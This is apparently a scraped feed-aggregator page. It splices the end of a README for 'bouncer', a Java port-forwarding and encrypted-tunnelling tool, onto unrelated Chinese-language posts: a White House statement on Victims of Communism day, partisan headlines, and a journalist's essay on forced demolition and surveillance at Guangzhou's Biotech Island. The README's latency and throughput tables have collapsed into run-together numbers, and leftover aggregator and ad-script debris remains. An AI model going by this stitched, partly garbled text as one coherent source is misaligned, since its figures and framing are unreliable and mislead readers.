tun-listen mux1 127.0.0.1 2222 TUN_ID=2
tun-listen mux1 127.0.0.1 465 TUN_ID=3,TUN=ENDSSL,ENDSSL=server.crt:server.key
For Encryption Tunnels with AES (no SSL/TLS) you can use MUX=AES,AES=sharedsecret in both sides

Running (Linux)

./bin/bouncer.sh 

Running (command line without config file)

java -jar bouncer-x.x.x.jar -- "...config.line.1...""...config.line.2..."

Example:
java -jar bouncer-x.x.x.jar -- "0.0.0.0 1234 127.1.2.3 9876""127.0.0.1 5678 encrypted.google.com 443 TUN=SSL"

Running (command line with remote config file)

java -jar bouncer-x.x.x.jar https://config.acme.com/bouncer.conf

RSA Key / X.509 Certificate Generation for MUX-SSL (optional)

./bin/bouncer.sh keygen 

Enabling Strong Ciphers with BouncyCastleProvider

You can improve security, simply download bcprov-jdk15on-XXX.jar from BouncyCastle and copy jar file to ${BOUNCER_HOME}/lib/

TODOs

  • NIO? - for C10K problem, in forward mode, try jrinetd
  • Use Log4J
  • Limit number of connections
  • Limit absolute timeout/TTL of a connection
  • Configurable retry-sleeps

DONEs

  • Reload config (v1.1)
  • Thread pool/control (v1.2)
  • Reverse tunnels (like ssh -R) over MUX (multiplexed channels) (v1.2)
  • FlowControl in MUX (v1.3)
  • Custom timeout by binding (v1.4)
  • Encryption MUX/Tunnel (AES+PreSharedSecret) (v1.4)
  • Encryption MUX/Tunnel (SSL/TLS) (v1.5)
  • Key Generator for MUX-SSL/TLS (v1.5)
  • Audit threads / connections (v1.5)
  • Improved FlowControl in MUX (v1.5)
  • Allow redir stdout/stderr to File, with auto daily-rotate (v1.5.1)
  • Enable TLSv1.2 ciphers (v1.5.8)
  • Added Elliptic Curve Diffie-Hellman Ephemeral Cipher Suites (v1.5.9)
  • Zip Packaging (Maven Assembly) (v1.5.9)
  • Allow AutoRegister JCE BouncyCastleProvider (v1.5.9)
  • Configurable CipherSuites for SSL/TLS (v1.6.0)
  • Allow different tunnels over same MUX(IN/OUT) (v2.0.1)
  • BufferPool for reduce GC pressure (v2.0.1)
  • PROXY protocol (v1) for Outgoing connections (v2.1.0)
  • Sticky sessions in LoadBalancing (v2.2.1)
  • Statistics/Accounting (v2.2.2)
  • JMX (v2.2.3)
  • Multiple remote-addr (not only multi DNS A-record) (v2.2.4)
  • Replicate Sticky Sessions over multiple Bouncers (HA) (v2.2.5)
  • Allow alternative config names (v2.2.6)
  • Support for End SSL (v2.2.8)
  • Support client authentication in TUN=SSL (v2.2.8)
  • Support basic command line config without file (scripts,containers,etc) (v2.2.9)
  • Support remote config file (http/https) (v2.2.9)

MISC

Current harcoded values:
  • Buffer Pool size: 4 (per thread)
  • Buffer length for I/O: 4096bytes
  • IO-Buffers: 8
  • TCP SO_SNDBUF/SO_RCVBUF: BufferLength * IO-Buffers
  • Connection timeout: 30seconds
  • DNS cache: 2seconds
  • Read timeout: 5minutes
  • MUX Keep-Alive: 30seconds
  • MUX-IN Error retry sleep: 0.5/1seconds
  • MUX-OUT Error retry sleep: 5seconds
  • Reload config check time interval: 10seconds
  • For MUX-AES Password-Based Key Derivation Function for 4 keys (2 for Cipher, 2 for Mac) is PBKDF2WithHmacSHA1
  • For MUX-AES default Cipher is AES/CTR/NoPadding (128 bits)
  • For MUX-AES Mac for Authenticated encryption (Encrypt-then-MAC) is HmacSHA256
  • For MUX-AES Randomized IV per-message is used.
  • For MUX-AES Rekey is done every 32768 messages (2^15).
  • For MUX-AES Anti-replay window for messages (time): 5minutes
  • For MUX-AES Anti-replay sequence for messages: 31bits
  • For MUX-SSL supported Asymmetric Keys are RSA
  • For MUX-SSL enabled Protocols are:
  • Shutdown/Reload timeout: 30seconds
  • Statistics print interval: 30seconds

Latency Benchmark

microsecsDirectForwardMUXMUX-AESMUX-SSL
min1238110125184
max1468101613515103621771
avg1946120153213

Throughput Benchmark

(transfers)Direct (x2)Forward (x4)MUX (x6)MUX-AES (x6)MUX-SSL (x6)
Mbytes256128511719
Mbits20481024408136152
All test run on localhost on a Laptop. Values are not accurate, but orientative. Latency { EchoServer, 1 byte write/read (end-to-end, round-trip), 100K iterations } Lower Better. Throughput { Chargen, 1024bytes read & write (full-duplex), total 512MBytes } Higher better.

Inspired in rinetd, stunnel and openssh, this bouncer is Java-minimalistic version.

from https://github.com/ggrandes/bouncer

白宫在“全国共产主义受害者纪念日” 发表美国总统声明

$
0
0
美国白宫11月7日发表特朗普总统在“全国共产主义受害者纪念日”的声明。该声明说,在这一天,“我们铭记1亿多因为共产主义压迫而死去的人们。今天,我们重申致力于基于民主、自由、正义和对每一个人生命价值的深切尊重基础上,帮助所有人确保和平与繁荣的未来。”
声明说:“今年的‘全国共产主义受害者纪念日’恰逢柏林墙倒塌30周年。1989年,11月9日,一群坚决果断的男女将罗纳德·里根总统有力的话付诸于重大行动中,推倒那个威权主义的象征,向全世界传递一个信息:民主和法治永远会战胜压迫和暴政。在我们纪念人权的这个里程碑时,我们决心继续与我们的盟国和伙伴一道合作,确保自由的火焰继续燃烧,成为全球希望和机会的灯塔。”
声明指出:“当我们认真思考这个纪念日,向全球各地的共产主义受害者致敬时,我们必须始终决心捍卫促进和平和释放空前繁荣的宝贵自由。我们同心协力能建立一个没有共产主义罪恶的未来。”
今年是白宫第三次就“全国纪念共产主义受害者日”发表总统声明。





美国白宫11月7日发表特朗普总统在“全国共产主义受害者纪念日”的声明:

特朗普:我还没同意取消对中国加征的关税

北京终于对美国大让步,“一泻千里”,习近平不得不签“辱国协议”

癫狂生物岛

$
0
0


广州官洲岛(广州国际生物岛)俯瞰图。图片来自网络
我更喜欢生物岛的旧称官洲岛。
十多年前,旧称被压缩成地铁4号线穿越小岛的一个冷清站名,和孤立陈氏宗祠前、面向大学城装点风景的巨石刻字。
官洲岛土地上,曾流淌原住民反抗拆迁而丧失的生命、鲜血和伤痛。至今,尚有几十人坚守在宗祠周边破烂不堪的残房旧居中。他们养种鸡鸭羊蔬菜,艰难维生。
宗祠路口,专设保安亭,24小时值守,监控上访。
​2007年3月,施工方与村民爆发冲突,村民1死14伤,施工方无一人伤亡。羊城晚报报道部分截图。
官洲岛是珠江后航道(牌坊河,仑头水道,官洲水道)上的一个江心岛,面积1.83平方公里,原住民三、四千人,环岛6.6公里。南北分立揽胜园和水墨园两座缓坡山丘,海拔不及百米,山脚周长各约1公里。山坡植被,精心栽植;亭台楼阁,错落有致。
官洲岛陈姓家族的先祖,自宋朝南迁建村,迄今已有一千余年历史。村民世世代代,与世无争,以种植水稻、果树、蔬菜和打渔维生。官洲岛西部紧邻广州南肺——两万亩瀛洲生态公园,堪称世外桃源。官洲岛北部与黄埔港,隔江相望。后者是明、清两代严厉实施“海禁”愚政年代,全中国唯一对外开放的港口。
岛北跨江依次还排布琶洲会展中心、长洲岛、黄埔军校;东、南方隧道和地铁贯通大学城;西部接收小洲村万亩果园的灵秀。便桥西南端百余米、万亩果园边缘南沙高架桥下,分布着百余个艺术工作室、展厅。
官洲岛虽远离市区,但身处广州要津,加上交通便利,实乃广州的一块风水宝地。政府岂能放手。
官洲岛被称为“广州的生物CBD”,与城市CBD珠江新城南北对应。2019年,广州文物所在岛上发掘出汉代墓葬群。这可能是秦始皇所派50万南征大军、后建立西汉南越国赵佗时期,来自北方军民的墓葬地。
2013年1月,遗存在陈氏宗祠附近墙壁上的征迁公告和信箱。我去过不少广州的宗祠,大多张贴着村落被拆迁的血腥文图。摄影 | 刘水
官洲岛、万亩果园、珠江、大学城岛、便桥、长空和高架桥,远眺广州中心区珠江新城广州塔,构成无规则巨大空间,视野开阔,空旷幽静,没有丝毫城市压抑感。最美在夏日黄昏,长空燃烧,乱云飞渡,夕阳坠落天际线。
2019年7月某天黄昏,从官洲岛便桥远眺广州塔,直线距离11公里。摄影 | 刘水
这个完美空间的中心位置,无疑是便桥。我每去岛上骑行,必经便桥。夏夜,常有周边居民,坐在桥面人行道台阶上,纳凉、休憩或闲聊。这是一处绝佳的天然风口,也是观赏广州城市天际线的最佳位置。
这个空间是我一住小洲村十年,仅有的几个理由之一。我至少登岛上千次。徒步记录个位数,大多环岛骑行。早年结识留守岛上宗祠的陈姓村民,偶尔会顺路探访。
生物岛初期拆迁工地——陈氏宗祠前。宗祠是千百年来南迁广府人的精神信仰所在和公共生活据点,官方血拆暴征对此有所收敛和忌惮。图片来自网络
官洲岛拆迁初期,陈氏宗祠悬挂的横幅。此种复杂的拆迁利益分化,让血缘宗亲退居其次。2019年6月第三届“官洲国际生物论坛”大会,将广州文保所追认保护的陈氏宗祠及周边古建,暂规划为小型文物公园。图片来自网络
拆迁后留守宗祠的部分村民。十多年来,他们坚持去市、省和北京上访,有人因此被拘押。至今祠堂路口专设一座保安亭,保安24小时看守。一次,我骑行拐进祠堂,一位年轻保安跟随。住在祠堂的老妇手指保安笑言:“这是我们的保镖!”保安闻话,狼狈退出祠堂。图片来自网络
官洲岛面积约为隔江广州大学城的十分之一。
2005年建成的小洲——官洲便桥,钢架水泥路面,全长230米。设计使用年限仅一年,实际使用至今14年。危桥早已限行汽车。桥头两端,筑立水泥墩墙,保安24小时把守。早期尚可通行摩托车、电动车、自行车和共享单车,后摩托车遭禁限。
2019年始,共享单车再遭限行——设在桥中间的保安岗,呵斥拦截共享单车骑行者上岛。岛周边搭乘地铁市民,从桥头徒步将近一公里才到官洲地铁站。虽说岛上开行383路公交车,可半小时等不到一辆。
2006年7月,生物岛便桥建成不久,立在桥头的告示牌。村民此前靠小船摆渡进出岛。图片来自网络
2019年8月,女保安值守桥头。两开口均容一人通过。桥头另一端同样被封限。前两三年,生物岛管委会在图左树下拴养三、四条威猛凶狠的大型犬,每逢人车通过,狂吠欲扑。摄影 | 刘水
警察有时在桥头查验行人身份证或手机。有次,在桥上遇见貌似已退休的六、七位女士,因未带身份证,灰溜溜折返。她们招手提醒:“警察在查身份证!”谢过她们。桥头站立五、六个警察和辅警。我没搭理,慢腾腾骑行越过。我倒希望被他们拦截。警察无权随意拦截行人查证,须依法说明正当、具体理由,否则,公民有权予以拒绝。
2015年临建的生物岛派出所,将原骑行道和临江步行道拦腰斩断。摄影 | 刘水
生物岛派出所,本不在生物岛整体规划之中。它完全切断了原本的骑行绿道、临江人行道和绿地。粗野蛮横,不守规则。它就是生物岛上丑陋不堪的一块补丁。
官洲岛初期拆除时,大学城两位女大学生,踏访拆迁工地。图片来自网络
抛开血腥拆迁,官洲岛的总体规划设计,极具前卫理念和现代感。我查阅资料,未能找到设计师名字。他们是满怀艺术创造和浪漫想象力的规划师和设计师。观景台、酒吧、驿站、骑行道、观景塔,人行道和马路,处处透射人文理念;菩提树、小叶榄仁、人面子、樟树等各种树木,不乏珍稀树种。单是四座公共厕所,就是一件精致艺术品。用料讲究,注重细节,人性化。
岛上绿道旁原设建几座精巧固定的便利小店,在周末和节假日服务游客;几处小广场上设有优美的草背木质座椅。此两项便民设施,在2018年全部拆除。环岛绿道旁雨水道,原本以长1米、宽10厘米结实木条横向覆盖,便于行人赤脚行走,几年后也全部拆除,以水泥板替代;游客休闲使用的吊床和地垫,也遭禁限。
2011年7月,官洲岛突出江面的亲水平台,江对面是广州大学城岛(小谷围岛)。摄影 | 刘水
曾有几年,游客可烧烤,小贩可兜售,垃圾遍地,老鼠天堂。后一律遭禁限。我曾在夏夜骑行,车轮几次压死乱窜的大老鼠。管——放——管,跟政府治理国家社会一样,运动式轮回,没有法制的长期定性。
后来,揽胜山脚围起高大的围墙,只留几个登山路口;再后来,半座山丘被削掉,陆续建起杂乱空荡的国际公寓楼。
2015年,封岛数年后重新开岛而被废弃的桥头保安室。这幅无名氏涂鸦成为游客拍照景点。摄影 | 刘水
官洲岛的标志建筑,其一当数岛东北端的20层五星级威尔登酒店,占据珠江两条水道交汇处的黄金位置。这家酒店由香港启德集团投资,楼下院落配建20座独栋别墅会所,荒废经年。开建初期,酒店自装铁栅栏,将岛端绿道和人行道切断。这座酒店建建停停五、六年,迄今仍未完工,算得上是一座烂尾建筑。
其二,星辉广场商务大楼,北区楼高48层,已建成投入使用;南区60层大楼尚未动工。分据官洲地铁站南北两侧。
自2017年已举办三届的“官洲国际生物论坛”,不乏业内知名人士,中工院院士钟南山、中科院院士施一公等数十位院士莅临。生物岛渐被划入粤港澳大湾区经济圈。“国际生物论坛”似有歧义,应为“国际生物研发论坛”。图片来自网络
生物岛的核心,以生物科技研发公司的几十幢办公楼区和生活区构成,但到晚间,闪变一片空城。长居居民,仍是留守的几十位陈姓原住民。
在二期单元开工前,南侧的揽胜山山坡、山脚草地,曾是航模和风筝爱好者的乐园,偶见滑翔伞练习者。不管冬夏雨晴,这里都是这些铁杆玩乐者的据点。周日节假期,踢球、滑草的小朋友,在山脚草地嬉闹疯玩。
2011年、2019年,相隔八个年头,两次拍摄,留守宗祠附近古建的这位村民,每每讲述血腥拆迁和外来盗窃者偷盗古建木雕、砖雕和壁画的往事,难抑愤怒。摄影 | 刘水
2018年10月,官洲岛一位相熟的湖北籍保安,手指马路对面告诉我,你看那一长溜配画的白色绿顶围墙,领导听说习近平访问广州,要来参观生物岛,连夜突击施工,砌筑几公里长的围墙,最后也没来,真是劳民伤财啊。
2017年,环岛双向六车道柏油马路和赭红色的骑行绿道,虽有局部修补,但路面完好,却全部铲除换新。据保安告诉我,这一拆一建,投资大约1.8亿元。我检索生物岛招投标公开资料,未找到官方准确数据。
图左:2017年10月,工人在重铺骑行绿道。图右:2019年10月,重铺刚两年的天蓝色绿道,已多处塌陷、开裂。摄影 | 刘水
关切官洲岛的人们热议:
“谁脑子进水了,败家子,好好的路,铲掉重铺,乱花纳税人的钱!”
“生物高科技就一定要把马路重复搞新的吗?新建筑不等于生物技术新啊!”
“你看那些大楼,布局乱七八糟,外观多难看,草地、树木和建筑还全都打上灯光,灯光秀还是光污染?多浪费电力!”
生物医药科技本是提升并服务人类健康的,而生物岛强烈炫目的光污染,对人体伤害巨大。生物岛晚上有不少散步者、垂钓者、骑行者、跑步者和滑板玩家,他们都是最直接的受害者。我在晚上极少登岛骑行。
2019年8月,生物岛全面亮化工程。摄影 | 刘水
生物岛管委会所在岛侧中段的白色办公楼,原是官洲岛仅存的轮船修理厂的一座旧楼,院落宽敞,古树环抱,翻修使用十多年了;环岛的钢质护栏,极牢固、美观。
这两处建筑、设施,每隔几年就翻新或上漆,最近一次尚不及一两年,在2019年突然全部拆除。
2019年8月,拆建环岛护栏工程“作战图”和冒雨干活的工人。摄影 | 刘水
环岛护栏全部以花岗岩替代。我与一位常去生物岛写生的艺术家,曾实地探察工地,与工人聊天。承建工程的中国水电六局,以东北人居多,他们不明所以然。
查阅官方资讯,今年的“山竹”台风暴雨,造成广州珠江罕见暴涨,倒灌道路。
2019年新建的环岛护栏。摄影 | 刘水
为此,官洲岛替换原有通透式钢质护栏,似是广州珠江沿岸护栏总体整改的一部分,但生物岛作为科研与休闲僻静之地,有此必要吗?
生物岛建筑灯光亮化工程(不含草地亮化)和更换护栏工程,均可查到官方招标资料,分别投资两千多万。
官方网站公开的生物岛堤岸护栏工程招标书。预算总价2373.82万元,其中设计费31.12万元,建安费2342.70万元。花岗石等材料费用呢?图片来自网站截图
生物岛的开放式人文休闲功能,一再被削弱、禁限,颇有军事禁区的“独立王国”之势,也更像是政绩和面子工程。
永别了,官洲岛!
生物岛大事记
1999.04 广东新绿洲生物技术研究所,最早提出在广州建立生物岛的建议,并迅速得到了官方回应。
2000.12 项目获国家计委立项批准,并正式命名为”广州国际生物岛”。
2001.01 广州市政府决定,将原本归属海珠区管辖的官洲岛,交给广州开发区,参照广州科学城的建设模式开发。
2004.07 官洲国际生物岛建设工程的征地拆迁补偿安置工作正式启动,纳入“广州大学城圈”,将成为大学城的研发核心。
2005.03 科韵路延长线生物岛隧道开工;同年6月,连接小洲村和生物岛的便桥建成通车;当年12月,广州地铁四号线官洲站正式开通。
2008.03 官洲国际生物岛拆迁安置房抽签仪式启动,700多套安置复建房通过抽签方式分配给村民。
2008.10 官洲村民搬迁大限,官洲封岛。
2011.05 官洲岛19条道路名称公布,路名均与宇宙、星际和生物螺旋有关,以体现生物岛的生物科技特色。
刘水,原南方都市报、深圳晚报、大公报大周刊等媒体记者,现自由作家。
2019年8月初稿
Viewing all 20486 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>